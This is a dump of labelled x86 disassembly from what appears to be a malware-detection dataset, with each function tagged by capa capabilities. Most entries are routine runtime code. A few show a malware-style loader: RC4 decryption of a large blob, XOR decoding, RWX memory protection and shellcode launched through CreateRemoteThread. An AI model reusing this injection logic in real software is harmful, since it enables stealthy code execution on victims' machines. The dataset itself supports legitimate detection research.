joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41adc0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x2c
mov eax, dword [0x49ae44]
test eax, eax
je 0x41af14
call fcn.0041ad40
mov eax, dword [0x49ae40]
test eax, eax
je 0x41af40
mov eax, dword [eax]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
sub esp, 4
test eax, eax
je 0x41ae00
add esp, 0x2c
pop ebx
pop esi
pop edi
pop ebp
ret
call fcn.0041a700
test eax, eax
mov ebx, eax
je 0x41af8c
mov eax, dword [entry3]
test eax, eax
je 0x41af8c
mov dword [ebx + 0x24], 1
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebx + 0x38], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
sub esp, 0x10
mov dword [ebx + 0x18], eax
mov dword [ebx + 0x1c], 0xffffffff
mov dword [ebx + 0x34], 0xffffffff
mov dword [ebx + 0x60], 0
mov dword [ebx + 0x14], 0
call esi
mov ebp, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov edi, eax
call esi
mov edx, eax
lea eax, [ebx + 0x14]
mov dword [esp + 0x18], 2
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov dword [esp + 8], ebp
mov dword [esp + 4], edi
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
sub esp, 0x1c
test eax, eax
je 0x41af93
mov eax, dword [ebx + 0x14]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov dword [ebx + 0x68], eax
movzx eax, byte [ebx + 0x20]
sub esp, 4
mov dword [ebx + 0x64], 0
and eax, 0xffffffcf
or eax, 0x10
mov byte [ebx + 0x20], al
mov eax, dword [0x49ae40]
test eax, eax
je 0x41af66
mov dword [esp + 4], ebx
mov eax, dword [eax]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
sub esp, 8
test eax, eax
je 0x41af93
mov eax, ebx
jmp 0x41adf8
mov dword [esp + 8], 0
mov dword [esp + 4], 4
mov dword [esp], str._pthread_tls_once_shmem
call fcn.0041fe80
mov dword [0x49ae44], eax
jmp 0x41add4
mov dword [esp + 8], 0x419d40
mov dword [esp + 4], 4
mov dword [esp], str._pthread_tls_shmem
call fcn.0041fe80
mov dword [0x49ae40], eax
jmp 0x41ade6
mov dword [esp + 8], 0x419d40
mov dword [esp + 4], 4
mov dword [esp], str._pthread_tls_shmem
call fcn.0041fe80
mov dword [0x49ae40], eax
jmp 0x41aef3
xor eax, eax
jmp 0x41adf8
call sub.msvcrt.dll_abort
nop
lea esi, [esi]
sub esp, 0x1c
mov dword [esp + 8], 0
mov dword [esp + 4], 4
mov dword [esp], str._pthread_key_dest_shmem
call fcn.0041fe80
add esp, 0x1c
ret
Function at 0x41b500
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
cmp dword [esp + 0x24], 3
je 0x41b520
add esp, 0x14
mov eax, 1
pop ebx
pop esi
ret 0xc
mov eax, dword [0x49ae40]
test eax, eax
je 0x41b690
mov eax, dword [eax]
cmp eax, 0xffffffff
je 0x41b50c
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
sub esp, 4
test eax, eax
mov ebx, eax
je 0x41b50c
test byte [eax + 0x20], 0x30
je 0x41b5e0
mov eax, dword [eax + 0xb0]
test eax, eax
jne 0x41b680
mov eax, dword [ebx + 0x14]
test eax, eax
je 0x41b590
mov dword [esp], eax
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
mov eax, dword [ebx + 0x18]
sub esp, 4
test eax, eax
je 0x41b582
mov dword [esp], eax
call esi
sub esp, 4
mov dword [ebx + 0x18], 0
mov dword [ebx + 0x14], 0
lea eax, [ebx + 0x1c]
mov dword [esp], eax
call fcn.0041e9f0
mov edx, dword [ebx + 0xac]
mov dword [ebx + 0x34], 0xffffffff
test edx, edx
je 0x41b6e6
mov eax, dword [0x49ae40]
test eax, eax
je 0x41b6c0
mov dword [esp + 4], 0
mov eax, dword [eax]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
sub esp, 8
mov eax, 1
add esp, 0x14
pop ebx
pop esi
ret 0xc
mov eax, dword [eax + 0x64]
test eax, eax
mov eax, dword [ebx + 0x18]
jne 0x41b640
test eax, eax
je 0x41b5fa
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov eax, dword [ebx + 0xb0]
mov dword [ebx + 0x18], 0
mov dword [ebx + 0x64], 1
test eax, eax
jne 0x41b670
test byte [ebx + 0x24], 4
je 0x41b657
mov eax, dword [ebx + 0x14]
mov dword [ebx], 0xdeadbeef
test eax, eax
je 0x41b589
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
jmp 0x41b589
test eax, eax
je 0x41b650
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov dword [ebx + 0x18], 0
lea eax, [ebx + 0x1c]
mov dword [esp], eax
call fcn.0041e9f0
mov dword [ebx + 0x34], 0xffffffff
jmp 0x41b50c
call fcn.0041b310
jmp 0x41b612
call fcn.0041b310
jmp 0x41b55e
mov dword [esp + 8], 0x419d40
mov dword [esp + 4], 4
mov dword [esp], str._pthread_tls_shmem
call fcn.0041fe80
mov dword [0x49ae40], eax
jmp 0x41b52d
mov dword [esp + 8], 0x419d40
mov dword [esp + 4], 4
mov dword [esp], str._pthread_tls_shmem
call fcn.0041fe80
mov dword [0x49ae40], eax
jmp 0x41b5bd
mov eax, ebx
call fcn.0041a930
jmp 0x41b5b0
Function at 0x41c880
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov esi, dword [esp + 0x20]
call fcn.0041adc0
mov ebx, eax
mov dword [eax + 4], esi
mov eax, dword [eax + 0xb0]
test eax, eax
jne 0x41c8fb
test byte [ebx + 0x20], 0x30
je 0x41c902
mov eax, dword [0x49ae40]
test eax, eax
je 0x41c98b
mov eax, dword [eax]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
sub esp, 4
test eax, eax
mov ebx, eax
je 0x41c8f2
cmp dword [eax + 0x14], 0
je 0x41c915
mov esi, dword [eax + 4]
mov dword [eax + 0x64], 1
mov eax, dword [eax + 0x18]
test eax, eax
je 0x41c8e5
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
test byte [ebx + 0x24], 4
mov dword [ebx + 0x18], 0
jne 0x41c95f
mov dword [esp], esi
call dword [sym.imp.msvcrt.dll__endthreadex]
call fcn.0041b310
jmp 0x41c89d
add ebx, 0x6c
mov dword [esp + 4], 1
mov dword [esp], ebx
call sub.msvcrt.dll_longjmp
mov dword [eax], 0xdeadbeef
mov eax, dword [eax + 0x18]
test eax, eax
je 0x41c92c
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
cmp dword [ebx + 0xac], 0
mov dword [ebx + 0x18], 0
mov esi, dword [ebx + 4]
je 0x41c982
mov eax, dword [0x49ae40]
test eax, eax
je 0x41c9b1
mov dword [esp + 4], 0
mov eax, dword [eax]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
push edx
push edx
jmp 0x41c8f2
mov eax, dword [ebx + 0x14]
mov dword [ebx], 0xdeadbeef
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
cmp dword [ebx + 0xac], 0
mov dword [ebx + 0x14], 0
jne 0x41c93f
mov eax, ebx
call fcn.0041a930
jmp 0x41c93f
mov dword [esp + 8], 0x419d40
mov dword [esp + 4], 4
mov dword [esp], str._pthread_tls_shmem
call fcn.0041fe80
mov dword [0x49ae40], eax
jmp 0x41c8b0
mov dword [esp + 8], 0x419d40
mov dword [esp + 4], 4
mov dword [esp], str._pthread_tls_shmem
call fcn.0041fe80
mov dword [0x49ae40], eax
jmp 0x41c948
Function at 0x41fe80
Capabilities:
Check mutex on windows
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x2c
mov edi, dword [ebp + 8]
mov dword [esp], edi
call sub.msvcrt.dll_strlen
mov ebx, eax
lea eax, [eax + 0x40]
and eax, 0xfffffff0
call fcn.0040db60
mov edx, 0x326d
sub esp, eax
lea eax, [esp + 0x1b]
mov dword [esp + 4], edi
mov dword [esp + 8], ebx
lea esi, [esp + 0xc]
mov word [esp + 0x18], dx
mov dword [esp + 0xc], 0x2d636367
mov dword [esp], eax
mov dword [esp + 0x10], 0x656d6873
mov dword [esp + 0x14], 0x64742d6d
mov byte [esp + 0x1a], 0x2d
call sub.msvcrt.dll_memcpy
lea eax, [ebx + 0x10]
lea edi, [esi + eax]
mov dword [ebp - 0x24], eax
lea eax, [ebx + 0x30]
mov dword [edi], 0x61616161
mov dword [edi + 4], 0x61616161
mov dword [edi + 8], 0x61616161
mov dword [edi + 0xc], 0x61616161
mov dword [edi + 0x10], 0x61616161
mov dword [edi + 0x14], 0x61616161
mov dword [edi + 0x18], 0x61616161
mov dword [edi + 0x1c], 0x61616161
mov dword [ebp - 0x1c], eax
mov byte [esp + ebx + 0x3c], 0
mov byte [esp + ebx + 0x1b], 0
mov dword [esp + 8], esi
mov dword [esp + 4], 0
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
sub esp, 0xc
mov byte [esi + ebx + 0xf], 0x2d
mov dword [ebp - 0x20], eax
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
sub esp, 8
test eax, eax
je 0x41ff6f
int3
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_FindAtomA]
sub esp, 4
test ax, ax
jne 0x420013
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sub.msvcrt.dll_malloc
mov edx, edi
mov ebx, eax
mov eax, 0x20
nop
lea esi, [esi]
bt ebx, eax
jae 0x41ffa8
mov byte [edx], 0x41
add edx, 1
sub eax, 1
jne 0x41ffa0
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_AddAtomA]
sub esp, 4
test ax, ax
je 0x420010
mov ecx, dword [ebp - 0x24]
mov edx, esi
movzx eax, ax
mov dword [esp], ecx
mov ecx, dword [ebp - 0x1c]
call fcn.0041fe00
cmp eax, ebx
mov esi, eax
je 0x42002a
mov dword [esp], ebx
call sub.msvcrt.dll_free
mov edi, dword [ebp - 0x20]
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
sub esp, 4
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
lea esp, [ebp - 0xc]
mov eax, esi
pop ebx
pop esi
pop edi
pop ebp
ret
int3
mov ecx, dword [ebp - 0x24]
mov edx, esi
movzx eax, ax
mov dword [esp], ecx
mov ecx, dword [ebp - 0x1c]
call fcn.0041fe00
mov esi, eax
jmp 0x41ffe2
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], 0
mov dword [esp], ebx
mov dword [esp + 8], eax
call sub.msvcrt.dll_memset
mov eax, dword [ebp + 0x10]
test eax, eax
je 0x41ffe2
mov dword [esp], ebx
call dword [ebp + 0x10]
jmp 0x41ffe2

Function at 0x4213cc
Capabilities:
Check if file exists
Get file attributes

Disassembly:
sub esp, 0x1c
mov eax, dword [esp + 0x20]
mov eax, dword [eax]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push edx
mov edx, eax
xor eax, eax
cmp edx, 0xffffffff
je 0x4213f3
mov eax, edx
shr eax, 4
xor eax, 1
and eax, 1
add esp, 0x1c
ret
Function at 0x417b9d
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.00406a60
mov eax, dword [0x42e040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.00413de5
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x417bdf
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x417d3b
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.00421c40
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x473610]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.00417fc3
mov ecx, dword [esi*4 + 0x473610]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x417d34
cmp eax, dword [edi + ecx + 0x24]
jne 0x417d34
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x417d34
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.00417fc3
add esp, 0x14
test edx, edx
jl 0x417d34
jg 0x417caa
test eax, eax
jb 0x417d34
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x417d34
jl 0x417cc4
cmp dword [ebp - 0x1008], eax
ja 0x417d34
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x417ce2
test ebx, ebx
je 0x417d1b
cmp ecx, edi
jae 0x417d1b
mov al, byte [ecx]
cmp al, 0xd
jne 0x417cfc
lea eax, [edi - 1]
cmp ecx, eax
jae 0x417d08
cmp byte [ecx + 1], 0xa
jne 0x417d08
inc ecx
jmp 0x417d08
movzx eax, al
movsx eax, byte [eax + 0x42e9b0]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x417ce2
cmp edx, ebx
jne 0x417ce2
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x417d39
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00405cbb
leave
ret
Function at 0x41e995
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x473610]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x41e9d5
cmp byte [ebx], 0xa
jne 0x41e9d5
or byte [eax + edi + 0x28], 4
jmp 0x41e9da
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x41ead8
mov al, byte [edx]
cmp al, 0x1a
je 0x41eaba
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x41ea09
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x41ea2e
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x41ea38
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x41e9eb
jmp 0x41ead8
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41eab5
cmp dword [ebp - 0xc], 0
je 0x41eab5
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x473610]
test byte [eax + edi + 0x28], 0x48
je 0x41ea8f
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x41ea7a
mov byte [esi], dl
jmp 0x41ea8b
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x473610]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x41ead8
cmp byte [ebp - 1], 0xa
jne 0x41ea9e
cmp esi, ebx
jne 0x41ea9e
mov byte [esi], 0xa
jmp 0x41ead7
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.00417fe1
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x41ead8
mov byte [esi], 0xd
jmp 0x41ead7
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x473610]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x41ead4
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x41ead8
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x41eae1
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x473610]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x41eb24
cmp word [esi], dx
jne 0x41eb24
or byte [edi + eax + 0x28], 4
jmp 0x41eb29
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x41ec7c
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x41ec5c
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x41eb6b
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x41eba1
cmp eax, edx
jae 0x41ebad
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x41eb43
jmp 0x41ec7c
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41ec58
cmp dword [ebp - 0x14], 0
je 0x41ec58
mov eax, dword [ebx*4 + 0x473610]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x41ec30
mov dx, word [ebp - 4]
lea eax, [esi + 2]
pop ecx
mov dword [ebp - 0x18], eax
cmp dx, cx
jne 0x41ebf9
mov word [esi], cx
jmp 0x41ec2c
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x473610]
movzx ecx, dx
shr ecx, 8
push 0xa
mov byte [edi + eax + 0x2a], dl
mov eax, dword [ebx*4 + 0x473610]
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x473610]
pop ecx
mov byte [edi + eax + 0x2c], cl
mov eax, dword [ebp - 0x18]
mov esi, eax
jmp 0x41ec7c
pop ebx
cmp word [ebp - 4], bx
jne 0x41ec41
cmp esi, dword [ebp + 0xc]
jne 0x41ec41
mov word [esi], bx
jmp 0x41ec79
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.00417fe1
add esp, 0x10
cmp word [ebp - 4], bx
je 0x41ec7c
push 0xd
jmp 0x41ec75
mov ecx, dword [ebx*4 + 0x473610]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x41ec73
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x41ec7c
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x421a40
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x421a6d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x421a6d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x423000
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x214
mov eax, dword [0x42e040]
xor eax, esp
mov dword [esp + 0x20c], eax
push ebx
push ebp
push esi
push edi
xor edi, edi
mov ebp, 0x100
mov ecx, edi
xor edx, edx
mov byte [esp + ecx + 0x18], cl
push 0x35
mov eax, ecx
pop esi
div esi
mov al, byte [edx + 0x472770]
mov byte [esp + ecx + 0x118], al
inc ecx
cmp ecx, ebp
jl 0x423021
mov esi, edi
mov ebx, edi
mov dl, byte [esp + esi + 0x18]
movzx eax, byte [esp + esi + 0x118]
add eax, ebx
movzx ecx, dl
add ecx, eax
mov ebx, ecx
and ebx, 0x800000ff
jns 0x423069
dec ebx
or ebx, 0xffffff00
inc ebx
mov al, byte [esp + ebx + 0x18]
mov byte [esp + esi + 0x18], al
inc esi
mov byte [esp + ebx + 0x18], dl
cmp esi, ebp
jl 0x423044
mov ebp, edi
mov dword [esp + 0x14], edi
inc edi
and edi, 0x800000ff
jns 0x423091
dec edi
or edi, 0xffffff00
inc edi
mov bl, byte [esp + edi + 0x18]
movzx esi, bl
add ebp, esi
and ebp, 0x800000ff
jns 0x4230aa
dec ebp
or ebp, 0xffffff00
inc ebp
push ecx
call fcn.00401bff
push eax
call fcn.00402f5f
mov al, byte [esp + ebp + 0x1c]
mov byte [esp + edi + 0x1c], al
mov byte [esp + ebp + 0x1c], bl
movzx eax, byte [esp + edi + 0x1c]
add eax, esi
pop ecx
mov ecx, dword [esp + 0x14]
movzx eax, al
mov al, byte [esp + eax + 0x18]
xor byte [ecx + 0x42eac0], al
inc ecx
mov dword [esp + 0x14], ecx
cmp ecx, 0x43800
jl 0x423080
mov ecx, dword [esp + 0x21c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00405cbb
add esp, 0x214
ret
Function at 0x4232df
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x28
mov eax, dword [0x42e040]
xor eax, esp
mov dword [esp + 0x24], eax
push esi
push edi
push str.006:107_4:_00007:277_0:_004:_04:_008:_08:_08:_8:_7:2_3:_9:193_4:_
lea ecx, [esp + 0x18]
call fcn.00401d41
push 0xc
call fcn.00405cc9
pop ecx
lea ecx, [esp + 0x14]
push ecx
mov ecx, eax
call fcn.00423101
mov edi, 0x4ac
mov esi, dword [eax + 4]
lea eax, [esp + 0xc]
push eax
push 0x40
push edi
shl esi, 2
push 0x4722c0
sub esi, 0x40
push 0xffffffffffffffff
mov dword [esp + 0x20], esi
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
call dword [sym.imp.KERNEL32.dll_FreeConsole]
mov dword [esp + 0x10], esi
xor esi, esi
mov ecx, esi
mov al, byte [ecx + 0x4722c0]
xor al, 0x73
sub al, 0x6c
xor al, 0x74
add al, 0x4e
xor al, 0x70
sub al, 0x65
xor al, 0x22
sub al, 0x73
xor al, 0x2a
mov byte [ecx + 0x4722c0], al
inc ecx
cmp ecx, edi
jb 0x42334c
push ecx
push ecx
call section..bss
pop ecx
pop ecx
lea eax, [esp + 0x10]
push eax
push esi
push 0x42eac0
push 0x472448
push esi
push esi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
push 1
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x14]
call fcn.004025eb
mov ecx, dword [esp + 0x2c]
xor eax, eax
pop edi
pop esi
xor ecx, esp
call fcn.00405cbb
mov esp, ebp
pop ebp
ret
Function at 0x401000
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
and dword [ebp - 4], 0
cmp dword [ebp + 0xc], 2
je 0x401036
cmp dword [ebp + 0xc], 3
je 0x401036
push 0x412310
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0x104
push 0x412420
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
call 0x40103b
mov eax, dword [esp]
mov dword [ebp - 4], eax
add esp, 4
push 0x1c
push 0
lea eax, [ebp - 0x20]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov eax, dword [ebp - 0x1c]
mov dword [0x4130b8], eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
cmp eax, dword [0x4130b8]
je 0x40108b
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0040560f
jmp 0x40109a
push 1
call fcn.0040117c
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
leave
ret 0x10
Function at 0x4013c1
Capabilities:
Check if file exists
Delete file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40d180
push 0x40b952
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ecx
sub esp, 0x82c
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
and dword [ebp - 0x20], 0
or dword [ebp - 0x24], 0xffffffff
and dword [ebp - 0x1c], 0
push dword [ebp + 8]
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 1
jne 0x40149a
cmp dword [ebp + 0x14], 0
je 0x40149a
and dword [ebp - 0x844], 0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 0x844], eax
push 0x800
push 0
lea eax, [ebp - 0x840]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push dword [ebp - 0x844]
lea eax, [ebp - 0x840]
push eax
push dword [ebp - 0x844]
push dword [ebp + 8]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
and dword [ebp - 4], 0
push 0xffffffffffffffff
lea eax, [ebp - 0x840]
push eax
push 0
push 0x40149a
mov edi, edi
push ebp
mov eax, dword [ebp + 0x14]
add eax, 3
jmp eax
push 0
push 0
push 4
push 0
push 0
push 0xc0000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0xffffffff
jne 0x4014c2
xor eax, eax
jmp 0x401572
cmp dword [ebp - 0x20], 0
jne 0x4014fc
mov dword [ebp - 0x3c], 0x1ec61500
mov dword [ebp - 0x38], 0x1c479c6
push 8
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x34]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push 8
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x2c]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
jmp 0x40150a
push 0
lea eax, [ebp - 0x3c]
push eax
push dword [ebp - 0x24]
call fcn.00402da4
push 0
lea eax, [ebp - 0x1c]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x40153f
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x20], 0
jne 0x40153b
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor eax, eax
jmp 0x401572
push 0
push 0
push dword [ebp + 0x10]
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push 1
lea eax, [ebp - 0x3c]
push eax
push dword [ebp - 0x24]
call fcn.00402da4
push dword [ebp - 0x24]
